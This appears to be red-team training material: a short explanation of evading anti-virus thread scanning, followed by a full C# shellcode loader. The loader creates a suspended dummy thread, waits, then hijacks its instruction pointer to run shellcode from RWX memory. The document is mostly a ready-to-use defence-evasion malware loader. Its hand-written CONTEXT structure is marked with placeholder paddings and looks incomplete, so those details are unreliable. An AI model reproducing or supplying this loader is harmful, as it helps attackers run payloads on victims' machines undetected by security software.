Anti-virus solutions can receive notifications when new threads are created and are able to inspect the memory the thread is pointing to. If they find the thread is pointing to shellcode, it can block the new thread from starting and raise an alert. A possible workaround for this is to create the thread in a suspended state but pointing to a benign location. After some time (hopefully after the anti-virus has scanned the memory region), the context of the thread can be changed to point at the shellcode and resumed.
using System.Runtime.InteropServices;
namespace CRTO
{
internal class ThreadHijacking
{
// --- WinAPI P/Invoke definitions ---
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint CREATE_SUSPENDED = 0x4;
const uint CONTEXT_ALL = 0x10000B; // CONTEXT_AMD64 | CONTROL | INTEGER | FLOATING_POINT
const uint INFINITE = 0xFFFFFFFF;
// --- x64 CONTEXT structure (must match the native layout exactly) ---
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong Low;
public long High;
}
[StructLayout(LayoutKind.Sequential)]
public struct XSAVE_FORMAT
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT
{
public ulong P1Home, P2Home, P3Home, P4Home, P5Home, P6Home;
public uint ContextFlags;
public uint MxCsr;
public ushort SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
public uint EFlags;
public ulong Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;
public ulong Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi,
R8, R9, R10, R11, R12, R13, R14, R15;
public ulong Rip;
// Floating point state (union of x87/SSE registers)
public XSAVE_FORMAT FltSave; // corresponds to FLOATING_SAVE_AREA on x64
public ulong VectorRegister0_0, VectorRegister0_1; // placeholder paddings
public ulong VectorRegister1_0, VectorRegister1_1;
public ulong VectorRegister2_0, VectorRegister2_1;
public ulong VectorRegister3_0, VectorRegister3_1;
public ulong VectorRegister4_0, VectorRegister4_1;
public ulong VectorRegister5_0, VectorRegister5_1;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
// Dummy delegate — keeps the marshaled function pointer alive for GC
static DummyDelegate dummyDelegate;
delegate uint DummyDelegate(IntPtr lpParameter);
// Does nothing
static uint Dummy(IntPtr lpParameter) { return 0; }
static void Main()
{
byte[] shellcode = new byte[] { /* your shellcode bytes go here */ };
// Allocate a region of memory
IntPtr hMemory = VirtualAlloc(
IntPtr.Zero, // we don't mind where it's allocated
(uint)shellcode.Length, // the size of memory region
MEM_COMMIT | MEM_RESERVE, // type of memory allocation
PAGE_EXECUTE_READWRITE);// memory protection
if (hMemory == IntPtr.Zero)
throw new Exception($"VirtualAlloc failed. Error: {Marshal.GetLastWin32Error()}");
// Write the shellcode into memory
if (!WriteProcessMemory(
(IntPtr)(-1), // GetCurrentProcess() pseudo-handle
hMemory,
shellcode,
(uint)shellcode.Length,
out _))
throw new Exception($"WriteProcessMemory failed. Error: {Marshal.GetLastWin32Error()}");
// Keep the delegate alive so the GC doesn't collect it
dummyDelegate = Dummy;
// Create a suspended thread pointing at a dummy function
uint threadId = 0;
IntPtr hThread = CreateThread(
IntPtr.Zero,
0,
Marshal.GetFunctionPointerForDelegate(dummyDelegate),
IntPtr.Zero,
CREATE_SUSPENDED,
out threadId);
if (hThread == IntPtr.Zero)
throw new Exception($"CreateThread failed. Error: {Marshal.GetLastWin32Error()}");
// Sleep for a little while
Sleep(5000);
// Get the current thread's context
CONTEXT ctx = new CONTEXT();
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(hThread, ref ctx))
throw new Exception($"GetThreadContext failed. Error: {Marshal.GetLastWin32Error()}");
// Point the thread context at the shellcode
ctx.Rip = (ulong)hMemory;
if (!SetThreadContext(hThread, ref ctx))
throw new Exception($"SetThreadContext failed. Error: {Marshal.GetLastWin32Error()}");
// Resume the thread
ResumeThread(hThread);
// Wait on the thread
WaitForSingleObject(hThread, INFINITE);
// Close the thread handle
CloseHandle(hThread);
}
}
}